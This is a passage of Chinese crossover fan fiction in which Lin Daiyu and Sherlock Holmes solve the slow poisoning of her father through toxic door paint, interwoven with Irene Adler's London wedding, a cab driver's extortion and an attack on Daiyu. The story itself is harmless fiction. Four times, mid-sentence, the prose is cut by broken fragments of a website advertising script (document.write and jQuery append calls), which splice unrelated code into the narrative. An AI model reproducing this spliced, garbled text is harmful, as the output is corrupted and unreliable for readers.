她脸上幸福的笑容已经消失不见,她压低声音,语气变得低落:“我受到威胁,因此我必须要离开伦敦。在完成婚礼仪式后离开离开。所以请原谅我不能及时接待你,进行周到的服务。” 威胁?黛玉敏锐地察觉到一丝熟悉的味道。她之前和福尔摩斯破案时,可没少收到威胁信。 “那个人可是权势滔天、无恶不作。我可不想沾染上麻烦。”艾琳小姐等候的另一辆马车已经停在她们身边。 艾琳小姐朝黛玉微微一笑,说:“因为我的婚礼仪式比较仓促,没有邀请任何人,所以你愿意来当我的证人吗?” 黛玉还没有见过英国的婚礼,于是便欣然接受艾琳的需求。 这辆马车比较宽敞,黛玉和艾琳共同乘坐一辆,而紫鹃和雪雁并没有一同前往,黛玉让她们先去旅馆整理收拾东西。 “圣莫尼卡教堂,二十分钟内到达。”艾琳朝马车喊了一声,口气急促,“如果你们能按时到达,我会奖励你们半英镑金币。” 随后她转头对黛玉道:“请原谅,我太激动了。” 黛玉点头莞尔一笑,说:“你的婚礼准备开始,感到激动是正常的。” “你的先生肯定很爱你。”黛玉瞧见艾琳脸上露出羞涩的表情,打趣道。 艾琳满意地回答:“是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,我很爱他,就像他爱我一样。” 黛玉看着这准备步入婚姻的女子,不由又想到了林府那段时光。 …… 云姨娘在黛玉生下来前就已经呆在林府,据她说当时黛玉的父母郎才女貌,琴瑟和鸣,当真是一段佳话。 当然黛玉记事起就一直呆在贾敏身边,直到她去世。父母的感情她也是亲眼目睹。 屏风后面的福尔摩斯听到林府接连不断地死去了两个人,心中也更加怀疑。 云姨娘坐在黛玉的一侧,完全没有注意到屏风后面的福尔摩斯,说到她看见林如海晕倒的那一幕,不由拿起绣帕抹了泪。 黛玉手中正握着被揉成一团的纸条,上面是福尔摩斯提前给她的问题清单。 于是黛玉顺着云姨娘的话题继续进行下去,她问:“那时是白天还是夜间?” 云姨娘陷入沉思,细细回忆,回答:“我服侍老爷用过晚膳后,老爷说身上不大好,先到我的屋子去休息,于是我就出去叫丫鬟打一盆热水来,谁知道我刚回来,就看见老爷晕倒了。” 言毕,云姨娘落下泪来。黛玉想起那个躺在床上的父亲,也不由垂泪。 最后黛玉把云姨娘送了出去,关上门,独自闷闷不乐地坐在椅子上。 福尔摩斯从屏风后出来,告诉黛玉自己知道的信息已经差不多了,凶手过几日就会出现。 “我知道你怀疑父亲的饮食被下了毒。”林黛玉玲珑剔透,点出他的推论。 福尔摩斯摇摇头,说:“不止这些。饮食下毒不过是凶手的障眼法。” 听见福尔摩斯的分析,黛玉仰起头,问道:“所以下毒不是重要原因?” “是的。”福尔摩斯回答,他来回踱步,“虽然云姨娘的有一些词汇我没有听出来,但可以肯定的是,这件事情和云姨娘无关。” 黛玉只觉得这件事情更加扑朔迷离,如果和云姨娘无关,那么就意味着线索已经中断。 福尔摩斯从黛玉的脸上读出探究的神情,于是问她:“你们家族是否有没有什么遗传病之类的。” “遗传病?”黛玉第一次听见这陌生的词汇。 福尔摩斯耐心地用不流畅的中文解释:“就是你亲戚间有许多人都患上同一种怪病。” 黛玉回想起贾府的那两个舅舅,身体健康,而林家那几个亲戚,也没有什么大病,于是摇头告知他没有什么遗传病。 “那就好。”福尔摩斯松了一口气,“事情已经变得明朗起来。” 看见黛玉脸上担忧的神色,他安慰道:“小姐,不用担心,我已经知道凶手是谁了。” 黛玉有些不敢相信福尔摩斯的破案速度,但听到凶手已经水落石出,心里的高兴还是多于震惊。 “不过你要当作什么都没有发生。”福尔摩斯告诉黛玉,“我需要一点时间来演绎推理。确保不会出错。” 黛玉点点头,她明白福尔摩斯的意思,自己要镇定自若,免得打草惊蛇。 他环顾四周,从林如海书房的后门出去,然后拐到园子墙外,回到小厮的住处。 “你去哪里了?”就在福尔摩斯刚推门而入,有人叫住了他。 5. 跟踪 福尔摩斯回头,只见一个人面色不善地向他走来,是林府的管家李大爷。 李管家上上下下打量着他,本来他就对这个来路不明的人起了疑心,如今看见他鬼鬼祟祟的样子,更加确定这个福尔摩斯不是什么好人。 虽然林府出身于书香名邸,没有打骂下人的规矩,但是管家也有权利使些手段来磋磨福尔摩斯,尤其是福尔摩斯在之前做事没法挑出任何错处。 如今见福尔摩斯这行为,他终于有个借口来向福尔摩斯立威。 “你给我去把门口的那几捆柴火搬进来。”李大爷命令他。 福尔摩斯收回准备开门的动作,把手抱在胸前,懒散道:“这不是我的活,你得告诉我理由。” “哼?理由?“管家指了指西边的夕阳,“你擅自离开大门,就应该受到惩罚。” “擅自离开?”福尔摩斯挑眉,“我已经完成交接,我没有擅自离开。” 福尔摩斯一副懒洋洋的模样激起了李管家的怒气,他本来是想借福尔摩斯立威,治一治新来的小厮,没想到他是个刺头。 “我去汇报姑娘和姨娘,到时候可就不是受到惩罚那么简单。”李管家开始搬出黛玉和云姨娘,企图让福尔摩斯服从。 福尔摩斯轻笑一声,说:“随便你。”言毕,他推门而入,重重地关上门。 李管家朝屋里叫喊:“我马上就去!你现在求饶还来得及。” 屋内,福尔摩斯冷冷回答:“去汇报林黛玉小姐吧,我已经迫不及待。” 接着留给福尔摩斯的只剩下怒气冲冲的脚步声。 此刻林黛玉刚从林如海的房间出来,自从来到扬州城后,黛玉除了吃和睡以外,就一直呆在林如海的床边。 她掩上涂着红色油漆的房门,一面叹息,一面款款走向自己的园子。 林如海爱妻爱女,专门在林府内开辟一座园子,里面就是贾敏和黛玉的住处。 黛玉跨过红色的园子大门,里面落叶纷飞,草木萧条,哪里还有曾经花团锦簇的模样。 里面的小园香径通往自己的屋子,黛玉低头看着被走出来的小道,又想起自己的父亲。 更大的问题摆在她眼前,即使凶手被揪出来,可她的父亲不一定会醒来。 就在黛玉心中抑郁寡欢时,有个看门的丫鬟来汇报,说是外头的李管家有事要汇报。 “为什么不去找云姨娘。”黛玉问道。 那丫鬟似乎预判到黛玉的回答,说:“云姨娘现在正照顾老爷,忙不开身,所以就来汇报姑娘。” 黛玉听闻,便扶着雪雁的手,折返回园子大门。 只见李管家已经在此等候,他恭敬对黛玉道:“姑娘,最近新来的那个小厮很不安分,依奴才瞧,最好打发了出去,免得生出不少事情来。” “我当是什么要紧事。”林黛玉明白他说的那个小厮是谁,冷笑道,“你如今越发老糊涂了,眼下府里正缺人手,我好不容易寻来一个,怎么就轻易丢开。” 雪雁感觉到黛玉轻轻捏了自己的手,知道该自己上场,于是便上前一步,对李管家道:“那个新来的小厮可是京城里的老太太给姑娘的,如此赶出去,日后老太太问起来,岂不是打老太太的脸。” “我且告诉你,不许你日后磋磨他,你只管好吃好喝地供着,等事情结束,老太太和姑娘自然会奖赏你。”雪雁怕他心生怨恨,忙又补充。 那李管家听见如此,早已吓得战战兢兢,他没想到那个新来的背景如此深厚,忙连声称是,表示自己以后不会再找新来的小厮的麻烦。 打发走李管家后,黛玉和雪雁立刻回了园子歇息。 雪雁一面替黛玉卸了妆,一面道:“姑娘,其实李管家说的也不是没道理,那个福什么的小厮身份不明,我们多一点心眼也是好的。” 黛玉对着铜镜照了照自己有些憔悴的容颜,说:“我何尝不知道,所以我只许他在二门外办事,如今就等着他把凶手找出来。” 主仆二人又说了一会儿话,才歇下了。 …… 林黛玉从回忆中出来,精致小巧的四轮马车已经停在圣莫妮卡教堂,艾琳小姐和黛玉刚下马车,就在她们跟着穿白色法衣的牧师走进教堂时,黛玉的第六感告诉她,有人在跟踪她们。 但黛玉留意四周,也瞧不出任何可疑的地方。黛玉就这样带着不安的心思走进教堂。 教堂里面只有一个人,只见这人肤色黝黑,容貌俊朗。他见艾琳走进来,立刻大步走向她。 “这就是我的先生,戈费雷.诺顿。”艾琳向黛玉介绍。 黛玉朝他行个屈膝礼,诺顿先生也微微鞠躬表示回礼。 他们领着黛玉围在圣坛前,黛玉从这对新婚夫妇的脸上看出他们很着急,就在她听牧师宣言时,那种强烈的被窥视的感觉再一次袭来。 黛玉耐着性子,等这急促匆忙的婚礼仪式结束后,才转头望向教堂门口,仍然是空无一人,但她可以确定,刚才她在背着大门时,一定有人在那里。 艾琳小姐谢过牧师后,面带微笑对黛玉道:“你和我一起乘坐马车回去吧,晚上八点钟后我将会离开伦敦。” 黛玉撒了个谎,笑答:“多谢你的好意,只是我碰巧有个旧友住在这条街道上,我想等会去拜访,所以你就先行回去吧。” “好,我离开伦敦后仍然会给你写信。”艾琳脚步匆匆,和诺顿先生在教堂门口告别后就上了马车离开。 黛玉也从教堂离开,她拐到一个小巷,为避人耳目,从与艾琳小姐交谈认识后,她就一直戴着软帽。 正如黛玉预料的那样,她们前脚刚走,后脚就有人跟上来,那人进入教堂内。 黛玉悄悄折回原路,她站在教堂的窗户外,透过教堂的玻璃往里面看去,因为玻璃的材质并不是那么清晰,她只能看见一个身影在和白色法衣的牧师交谈。 她等了一会,见那个身影准备出教堂的大门,自己忙低头,伸手将软帽压低一些,好遮住自己的脸庞。 为了避免被发现,她低头拿出自己从马车上拿的报纸,假装 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己正专心致志地看着报纸。 报纸上面的内容很无聊,黛玉努力让自己看进去,但又听见脚步声离她越来越近。她不确定这是行人的脚步声还是那个身影的脚步声。 黛玉不知道自己是否后退还是当作若无其事。 这时一只骨节鲜明的手压下了黛玉手中的报纸:“你的跟踪技术还有待提高。”福尔摩斯的声音从她头上传来。 “你认出我了。”黛玉发现福尔摩斯似乎又长高了不少。 福尔摩斯轻笑道:“我也想问你,你是怎么认出我的。” 黛玉将报纸从福尔摩斯的手拿开,说:“你的手出卖了你,一个醉汉的手是不可能干干净净的。” “观察很仔细。”福尔摩斯把手伸到面前,有些懊恼,“这一点我确实没有考虑到。” “我猜你今天才刚到伦敦。”福尔摩斯的目光落到黛玉头上的软帽,“你的帽子很干净,没有沾染上伦敦特有的烟雾颗粒,应该是拿出来才不久,船上的风很大,你不会戴上软帽。” 黛玉点头,表示福尔摩斯推理正确。 福尔摩斯低头看着黛玉的小脸,发现她瘦了一些,他很想问黛玉为何来到伦敦第一时间不找自己,而是跑到教堂去。 但福尔摩斯想起他和黛玉的上一次冲突,话到嘴边的他还是把问题咽下去。 接着是一阵尴尬的沉默。 福尔摩斯看出黛玉有意不提那个话题,于是便转移话题,说:“我看见你和一对男女走进教堂,那对男女我应该认识,女方是不是叫艾琳?” 黛玉太熟悉福尔摩斯的把戏,这分明就是想套她的话,作为艾琳小姐的朋友,她当然不会轻易出卖朋友。 “我只是一个路过的人,他们的婚礼仪式需要证人,所以我才和他们一起进去。”黛玉的口气变得冷淡下来。 接着黛玉想起艾琳说过自己受到威胁,她立刻猜测福尔摩斯是不是也在其中参与了进去。 “我虽然不知道她叫什么名字,但是听这可怜的女士说,她受到了威胁。”黛玉试探福尔摩斯,想从福尔摩斯身上知道一些消息,因为事情摆明着他就是在跟踪艾琳。或许他可以帮艾琳这个忙。 听见黛玉说艾琳自己受到威胁,福尔摩斯脸上露出得意的笑容,说:“很好,现在我已经掌握得差不多了。” 林黛玉没想到自己一时的好心,竟然给福尔摩斯圆上了最后一块拼图。她果然还是斗不过福尔摩斯这个著名的大侦探。 黛玉的神情变化都被福尔摩斯瞧在眼里,福尔摩斯忍住按下黛玉肩膀的冲动,安慰她:“相信我,我会保证她平安无事。” 福尔摩斯说完,伸手看了手腕上的手表,现在是下午两点,他得准备回贝克街,他昨天就已经约华生三点钟见面。 “林黛玉小姐,你要来贝克街吗?”不知道什么原因,福尔摩斯的心脏突然砰砰直跳,“华生和哈德森太太都非常想你。” “改天再约。”黛玉干脆地拒绝他的邀请,她还有比去贝克街更重要的事情去做。 6. 凶手 自从那晚雪雁敲打李管家后,福尔摩斯的待遇就好许多。这日清晨,福尔摩斯照常完成夜间看门工作后,请雪雁叫来黛玉和云姨娘,告知她们等会就是凶手现身的时候。 黛玉听见凶手就要现身,自然是坐不住,她忙从父亲的床边起身,命几个丫鬟照顾好父亲,便拉了云姨娘一同到二门的门口捉拿凶手。 为了避免打草惊蛇,黛玉事先命令几个小厮在看不见的墙角蹲着。黛玉看见福尔摩斯已经在门前的柱子等候,双手抱胸,一副懒散又信心十足的样子。 这是黛玉第一次看见福尔摩斯的样子,他身材修长,面容清瘦,棱角分明的钻石脸上,有一双机警的灰色眼睛和细长的鹰钩鼻。 福尔摩斯低头迎面看见黛玉,心中惊讶,仿佛是看见一个美人从画中走出,他见过不少西方贵妇女人,但都远远比不上现在看到的黛玉。 福尔摩斯回过神,给黛玉一个眼神,示意她现在门后等候。 黛玉便拉着云姨娘的手在门后等待,确保自己能看到门外的动静,而门外的人却看不到她们。 只见一个车夫拉着马车路过,福尔摩斯朝他招手,朗声道:“早上好!今天又是美好的一天。” 车夫显然已经和福尔摩斯认识,于是便停下来,抱怨道:“这对我来说并不是什么美好的一天。”他指了指身后一车粮食,表示自己要把它们搬进府内的厨房。 “我有办法可以减轻你的活。”福尔摩斯朝车夫招手,让他过来。 车夫早已对福尔摩斯信任不已,没思考一下便放下手中的活,向福尔摩斯奔来。 在车夫靠近福尔摩斯时,福尔摩斯迅速握住车夫的手腕,再给他的后脑勺来一拳,成功把他打趴下。 尽管车夫像被扔到岸上的鱼猛烈挣扎,但福尔摩斯是个老练的拳击手,力气比这个车夫大许多,车夫在福尔摩斯的拳头下动弹不得。 黛玉立刻领着小厮们把这个车夫捆住。 “他就是害我父亲的凶手吗?”现在的黛玉不是很相信福尔摩斯的判断。这个车夫看起来和自己的父亲并没有关系。 听见黛玉的质疑,福尔摩斯挺直身子,不紧不慢道:“我确定就是他,现在我将把所有的一切都告诉你。” 他迈着修长的腿,领着黛玉来到二门里面的花园大门口,他上前敲了敲花园的门,用手指轻轻刮了一下门上的红色油漆,说:“它就是让你父亲病重的凶手。” “我在交接工作的时候,路过你父亲的房间,我同样发现你父亲的门也涂上了棕色油漆。”福尔摩斯扬起下巴,回忆,“你们林府的庭院已经有点破败,但是这个棕色的门依然十分新,这反常现象让我起疑心。” 林黛玉很快领悟过来,说:“是有人在油漆里掺了毒,所以父亲才病重的。” 福尔摩斯点头,说:“这油漆里面有不少挥发性有毒物质,你父亲常年累月地吸收这些,身子肯定撑不住。” 福尔摩斯是个优秀的化学家,凭着在化学实验室操作的经验,他从油漆能猜测出这里掺了苯、醛以及酯类等化学物质。 尤其是酯类物质带有的特有的香味,一下子就被福尔摩斯识别出来。 他打开园子的大门,指向园子里的小道,说:“这条小道是被踩踏出来的,而只有你的父亲有这花园的钥匙,所以我推测不知道是什么原因,你的父亲经常来这里踏足,而这大门上的油漆便有了可趁之机。” 黛玉太明白父亲为何屡屡踏入这个花园,这座花园曾经是她和母亲生活的地方,父亲踏入这个花园,明显就是在怀念当时林府的时光。 想着,黛玉眼前一阵模糊,泪水遮住她的眼帘。 福尔摩斯似乎没有注意到黛玉的情绪,继续分析说:“而我去调查后,发现只有那个车夫每月都按时去刷油漆,所以凶手就是他。” 接着福尔摩斯打了个指响,说:“当然对我来说,这些证据并不够充分。于是我借着送东西的由头去你父亲的房间,发现你的父亲的症状完全符合我的猜测。” 虽然华生评价福尔摩斯的医学知识具有“创造性”的,但福尔摩斯也是略知道一些医学常识,尤其是和化学相关的方面。 眼下那个车夫已经被小厮们捆到下人的房里,塞住他的嘴巴,林黛玉命人看好这个车夫,不许他自尽。 福尔摩斯敲了敲门,让黛玉立刻命人把这些油漆冲刷掉,黛玉点头表示自己会依照他的要求去做。 “事情到此结束。”福尔摩斯向黛玉伸手,“我需要报酬。”严格来说,他并不是那种追逐名利的人,现在的他身处异国,只能依靠这些报酬为自己赚回家的路费。 黛玉抬头,看见他那一双灰色的眼珠,她知道福尔摩斯最需要的是什么,但她还是卖个关子,说:“我当然会给你丰厚的报酬,只是我想知道我的父亲是否还能醒来。” 福尔摩斯顿了一下,说:“如果不出意外,他可以醒来,只是这些物质对身体的伤害是不可逆的,你的父亲以后可能需要一定的药物来治疗。” 听见福尔摩斯如此说,黛玉放心下来,至少她的父亲还有治愈的希望。 “但是这些药物可能比较难找。”福尔摩斯看出黛玉脸上有些激动的神情,忍不住提前泼冷水。 黛玉不理解福尔摩斯的意思。 福尔摩斯避开她的目光,敲了敲门口的油漆门,解释:“你们这里的医学和我说的药物可能不太一样。” 他在扬州城的这几个月里,已经见识过东方的医学治疗方式,他对草药和针灸之类并不了解,因此他能提供给黛玉的方法在东方并不现实。 黛玉在听完福尔摩斯的简单解释后,原本有些高涨的情绪瞬间低落下来。 “但我还是能提供一些方法。”福尔摩斯不忍心见黛玉这副样子,于是宽慰她,“首先你要把你的父亲搬出现在的房间,搬到另一个宽阔通风的地方,其次你可以替你的父亲多买一些牛乳,牛乳对有毒物质有缓解作用。” 福尔摩斯并不是专业的医生,他只是依照化学物质的基本性质,提供黛玉一些针对性方法。 黛玉心中默默记下,就在这一秒,她又有了新的法子。 她请福尔摩斯回到正厅,对于凶手的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抓捕,她对福尔摩斯是非常感激的。 这一次福尔摩斯的破案从速度到准确都让黛玉刮目相看,至少黛玉不再认为他只是个江湖骗子。 雪雁见福尔摩斯坐下后,忙递上茶来。福尔摩斯接过茶,虽然他觉得茶香扑鼻,但他更怀念的是伦敦的咖啡。 黛玉朝雪雁示意,雪雁便拿出早已备好的几两银子递给福尔摩斯,福尔摩斯看见这样大的数目,心中还是小小的震惊了一下。 黛玉朝福尔摩斯道,“这几两碎银只是我的一点心意。” “不过,我猜测你最需要的并不是银子。”黛玉继续说。 听见她的话,福尔摩斯立刻来了兴趣,他挨着椅子将身子微微往后仰,笑道:“那小姐认为我最需要的是什么?” “你最需要的是回家的路费。”黛玉一字一顿道。 福尔摩斯停止大笑,眯起眼睛,说:“你很聪明,你怎么知道我最想回家。” 林黛玉回答:“从你的语调和容貌,我便猜测你是西洋人,方才我叫雪雁把茶端上,你脸上的神情告诉我你似乎想家了。” 黛玉非常熟悉想家的感觉是什么滋味,她刚才看到福尔摩斯看到茶叶的样子,猜测他是在思念故乡。 而且从福尔摩斯身上的衣料来看,黛玉知道他手头并不宽裕。 福尔摩斯没有承认自己思乡的情绪,他拿起银子起身准备离开。 “我可以帮你回家。”黛玉的声音从福尔摩斯的背后传来,虽然她的声音很轻,但在福尔摩斯的耳旁却如同雷霆轰鸣,成功让他停下脚步。 福尔摩斯回头,重新审视黛玉一遍,说:“我明白你的意思,你是想提供我回家的路费,报酬就是替你父亲找到药物,对吗?” 黛玉只是凝视着他,没有说话。 “你不怕我把你的钱卷跑吗?”福尔摩斯轻声道,“你也太信任我了。” “我会和你一起启程。有我的监督,你跑不了。”黛玉把这句话说出来时,心中还是忍不住颤抖了一下,这想法太大胆,这年代出远门的人很少,尤其是像她这种深居简出的女子,更为罕见。 如果能让上天多给父亲几十年的寿命,黛玉愿意冒这个风险,尽管她是个谨慎的人,但关于父亲的事情,她没法瞻前顾后,毕竟父亲是她世上唯一最亲近的人。 福尔摩斯显然也被黛玉的想法震惊到,他没想到眼前这个如弱柳扶风的女子竟然有如此大的勇气。 “勇气可嘉。”福尔摩斯看着这个看起来并没小他几岁的女孩,还是直接戳穿她的异想天开,“想和我回欧洲,你得先学好英语,那边的人可没有像我这么聪明好学,可以和你用中文交流。” 他只是把黛玉的这些话当作痴心妄想,福尔摩斯摇摇头,他觉得比起黛玉亲自前往欧洲,委托他自己帮助寻找药方才更加现实。 “如果你信任我,我可以帮忙。”福尔摩斯转头告诉黛玉,“但每天不一定会有前往欧洲的货船。” 福尔摩斯起身离开正厅,独留黛玉在厅内思考。 “你能教我学英语吗?”黛玉叫住了他。 7. 敲诈 伦敦贝克街,下午三点。 华生已经在屋里等候许久,过了快一个小时后,福尔摩斯才推门而入,他仍然是看起来一副醉醺醺的模样。 如果不是华生知道福尔摩斯高超的化装技术,他一定会把眼前的醉汉当成陌生人。 只见福尔摩斯和华生打个招呼后,就走进卧室,换了一身花呢衣服。他到厨房一边把脏兮兮的手洗干净,一边将事情的经过告诉华生。 他没有把所有的事情都交代给华生,福尔摩斯特意把遇见黛玉的事情省略过去。 “虽然中间出了点小插曲,但总体上还是十分顺利。”福尔摩斯站在壁炉前展开双腿,虽然黛玉的拒绝让他感到有些不好受,但现在的他都把心思放在工作中。 福尔摩斯享用着哈德森太太送来的点心,心中盘算下一步的计划,他在教堂门口就听到艾琳夫妇在今晚就要离开伦敦,所以他必须要在今晚前想出法子从艾琳身上拿到照片。 他很快想到了接触艾琳小姐的办法。 另一头,林黛玉和福尔摩斯在教堂门口各自分开后,她独自招手叫住马车,准备返回旅馆。 比起参观福尔摩斯的贝克街,黛玉觉得眼下把消息告诉艾琳小姐更加重要。 于是她毫不犹豫拒绝了福尔摩斯的邀请。 伦敦大街上的马车来来往往,但却都载着乘客,比起码头,这里的马车显然更难找到。 黛玉在路边站了快半个小时,终于有辆马车在她面前停下。 “我要去圣约翰伍德,塞彭泰恩大街上的布里翁尼大院。”林黛玉还是没有能把这个长长的地名背下来,她一边看着手中的纸条,一边告诉车夫。 只见车夫不怀好意裂开嘴,微笑说:“尊敬的小姐,我可以送你到达,只是我需要你付给我双倍的价格。” “为什么?”黛玉微微蹙眉。 车夫用手指了指自己的马车,说:“就凭这条街道上只有我这辆马车能接送你。” 黛玉的目光越过车夫,她想再找另一辆马车。 “你不会再找到另一辆马车的。”这个车夫看穿黛玉的心思,“他们不敢和我抢生意活。” 车夫自觉得自己成功拿捏住黛玉,现在的黛玉只有两个选择,要么付双倍的价钱上车,要么走路回去。 虽然黛玉有足够的价钱上车,但是对于车夫这种强买强卖的行为还是感到无比恶心,这分明就是看她孤身一人才欺负她。 骨子里的傲气让黛玉不肯低头。她宁可走出这条街道也不想被这个车夫轻贱。 二人就这样僵持了一会,黛玉欲准备转身就走,有个高大的身影拦下了她。 “小姐,请你先慢一步。”男人的声音从黛玉头上上方传来。 从这男人身上的制服来看,黛玉认出他是伦敦的一名警察,只见这位警察轻松地把这个瘦小的车夫拎起来,说:“我不是告诉过你,你们不许抬高价格吗?” 车夫原本脸上得意的神情片刻间荡然无存,他哆哆嗦嗦回答:“警官大……大人,我知道错了。” “那就给我滚开!”警官呵诉车夫,这车夫立刻屁滚尿流地离开这条街道。 警察转头对黛玉露出笑容,说:“很抱歉,让你这位迷人的小姐受到惊吓了。” 他湛蓝的眼珠凝视着黛玉,继续解释:“这些人就是因为看你孤身一人,才敢如此狮子大开口。” “多谢先生的帮助。”黛玉抬手将帽子往下拉了一下,她不敢直视警官的面庞。 警察伸出宽大的手掌,说:“叫我斯坦莱警官即可。” 黛玉礼貌性地握住他的手,并很快放开,说:“斯坦莱警官好。” 斯坦莱脸上的笑容变得更加迷人,他伸出大拇指往往身后一指,警察的背后也停着一辆四轮马车,他解释说:“我是来巡逻时碰巧看到那个可恶的家伙,现在我请你上车,顺路带你一程。” 黛玉心中还是有些犹豫不决,在异国他乡轻易上一辆陌生人的马车并不是什么明智之举。 斯坦莱理解黛玉的心思,他也不气恼,从胸前的口袋拿出警察证件,送到黛玉眼前,让她仔细瞧瞧。 在替福尔摩斯整理案件档案时,黛玉是见过这些伦敦警察的证件,她可以肯定眼前的证件是真的。 “那就多谢警察先生。”黛玉望着西边的落日,知道她还要有事情告诉艾琳小姐,自己耽搁的时间已经够多了,不能再拖延下去。 于是黛玉上了警察的马车,斯坦莱替黛玉关上马车后,便开始前往黛玉所说的目的。 “保持必要的警惕心是件很好的习惯。”斯坦莱对黛玉适才的怀疑并没有生气,相反夸起她来,“现在的伦敦治安确实没有那么安全。” 黛玉只是轻声道谢,她从马车里的镜子终于看清这名警官的脸庞,容貌俊朗,金发蓝眼。 但黛玉最震惊的还是警官的年龄,他很年轻,看起来也只比福尔摩斯大一两岁。 之前住在贝克街时,黛玉也没少见过警官来往贝克街向福尔摩斯请教案件,但那些警官只给黛玉留下短小精干,年龄稳重的形象。 这样年轻的警官如此少见。 黛玉把手靠在车窗,看着窗外伦敦的夕阳景色,她觉得和一名只大自己几岁的陌生异性呆在狭窄的空间有些尴尬。 “我之前见过你。“斯坦莱告诉黛玉,打破车上的沉默。 “是吗?”黛玉的口气变得缓和下来,她细细回忆,努力思考自己是什么时候碰见这个年轻的警察。 斯坦莱见黛玉绞尽脑汁的样子,轻笑道:“你是不会想起来的,因为你没有见过我。” 这位英俊的警察把一只手搭在警帽上,解释:“准确来说,那一天我看到你和华生医生一起进出一家诊所。” “你认识华生医生?”黛玉捕捉到关键人物。 斯坦莱点点头,回答:“他在阿富汗战场救过我的命,他是我的救命恩人。” 听见是华生认识的熟人,黛玉终于放下心,她了解华生为人,既然是华生的朋友, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那么眼前这个警官也不会差到哪里去,毕竟黛玉知道物以类聚,人以群分。 在寻找父亲的药方的过程中,华生也帮了黛玉不少忙。 黛玉望着夕阳陷入回忆。 …… 在福尔摩斯找出林如海昏迷不醒的原因后,黛玉立刻就命人把父亲搬入更加通风的房间,顺便把门连带油漆悄悄丢了出去。 依照福尔摩斯的要求,他们需要把这些挥发性物质稀释下来,降低空气中有毒物质的浓度。 在搬出后的一周,黛玉高兴地发现父亲已经有醒来的迹象,面色也由苍白变得红润。 黛玉并没有声张此事,面对林家远族和贾琏的询问,黛玉也只是以不清楚为由哄骗了过去。 林家远族对林如海的身子本就不关心,因此从未踏入过林如海的房间,而贾琏整日沉醉于江南的各种画舫游船,在见过林如海一次后就一直在外寻欢作乐。 至于宫中来的太医,自从上次下病危通知后就没有再来林府,因此黛玉很好地将父亲的真实身子状况隐瞒起来。 当然她也明白自己并瞒不了多久,但也有足够的时间给父亲静养。 黛玉明白仅仅靠车夫一人是不可能会给父亲下毒的,用福尔摩斯的说法,就是这人动机不足,背后必有人暗中作梗。 现在她知道整个林府对父亲来说都不安全,因此父亲的吃穿用度,都必须经过她的手,而福尔摩斯负责将所有可能下毒的细节都指出来,确保父亲的安全。 福尔摩斯已经成功从林府小厮的身份一跃成为黛玉的英语教书先生。 他并不算是个很有耐心的老师,但他还是特意写下二十六个字母表,隔着屏风每日教黛玉念英文字母。 林黛玉本就是聪敏毓秀的女孩,她很轻松就掌握了这些字母,她极强的记忆力更是加快英语学习的步伐,就连福尔摩斯这种学习大师也暗自称赞。 除了教黛玉英语外,福尔摩斯每天还抽出时间去码头观察货船,只是他到现在还没有等到从英国来的游轮和货船。 当然福尔摩斯也没有抛弃自己的老本行,他依然会时不时接一些寻物启事,至于案子,福尔摩斯很难接到有挑战性的案件,追其根本是没人相信他的能力。 福尔摩斯对此十分坦然,在异国他乡立足本就不易,他现在的需求就是多多锻炼自己的演绎推理能力,避免自己的脑袋变得僵硬。 日子一天天过去,林如海的脸色已经和常人无异,福尔摩斯认为这几天内林如海就能醒来。 而黛玉的英语水平也正在以惊人的速度提高,她已经可以用简单的英语和福尔摩斯对话。 这一夜,黛玉照常在父亲的床边看书,虽然期间雪雁多次催促黛玉去休息,但是黛玉还是想多陪父亲,她不想错过父亲睁开眼睛的那一刻。 只是今夜黛玉感觉有点心神不宁,手中的单词表拿起又放下,她不停望向窗外,发现对面的房屋还是没有亮起火光。 这个时间,福尔摩斯还是没有回来。 8. 刺杀 自从福尔摩斯变成黛玉的英语老师后,他的住处就从下人的房间搬到林如海房间的对面,和这个身份也让福尔摩斯与黛玉接触有了更加合理的理由。 原本这个小院的东边只有刚搬进来的林如海,为了方便照顾和保护父亲,林黛玉也暂时在这个院子里住下来,而院子的西边就是福尔摩斯的房间,也是黛玉平时上课的地方。 黛玉又勉强看了会单词表,最后命雪雁到对面的房间去瞧瞧,她记得福尔摩斯每天下午都会前往码头,然后在晚餐后回来。 但是今夜快到了入睡的时间,房间对面还是静悄悄的。 身为林府的管理人,黛玉认为她有必要保证周围人的安全,不仅仅是父亲。 她回头看着躺在床上的林如海,轻轻叹息一声,便亲自吹灭烛火,点了灯笼离开父亲的房间。 夜深人静,几个负责照顾林如海的丫鬟或坐在门口,或依靠柱子昏昏沉沉。 黛玉的脚步声很轻,没有吵醒这些丫鬟。如今的林如海只算个有气的死人,这些丫鬟们夜间越发疏忽大意,直接在上岗的时候睡觉。 对于丫鬟们昏昏欲睡的样子,黛玉总感觉心中不妥,因为这些丫鬟们再怎么明目张胆,也不会当着她的面摆出这副样子。 黛玉想着或许是白日太过劳累,因此她们才忍不住打瞌睡。 黛玉刚掩住门,就瞧见雪雁从对面房间走来,雪雁摇头表示屋内并没有人。 “他会去哪里?”黛玉心中想着,款款向自己的房间走去。 在经过正厅门口的花园时,黛玉慢慢停下脚步,她示意身旁的雪雁不许出声,因为黛玉听到身后传来窗户推开的声音。 她忙拉了雪雁躲在柱子后面,昏暗的夜色笼罩她们的身影。 黛玉意识到声音是从林如海的房间传来的,一种莫名恐惧涌上她的心头。 她感觉有人就在林如海的房间里,并且那人正透过窗户观察自己是否走远。 黛玉低头看着还在点亮的灯笼,察觉到那人应该是通过灯光的远近来判断自己的踪迹。 在深夜的黑暗中,一点亮光都格外显眼。 于是黛玉让雪雁提着灯笼前往自己的房间,表面上按兵不动,实际上她已经计划如何搬来救兵。 雪雁提着灯笼回黛玉的房间后,而黛玉绕过一回廊,准备到外头叫来小厮。 就在黛玉准备成功离开院子时,她感觉到有人跳到了身后,紧接着那人伸手遮住了她的口鼻。 黛玉意识到她自己已经被那人发现,而这人似乎想用掌心的迷药让黛玉无法逃脱。 她迅速蹲下,避免自己的口鼻吸入那些东西,随后黛玉用尽所有的力量跑向院子大门。 那个人的手伸得很长,很快就碰到黛玉的肩膀,重重地把她拽回来。 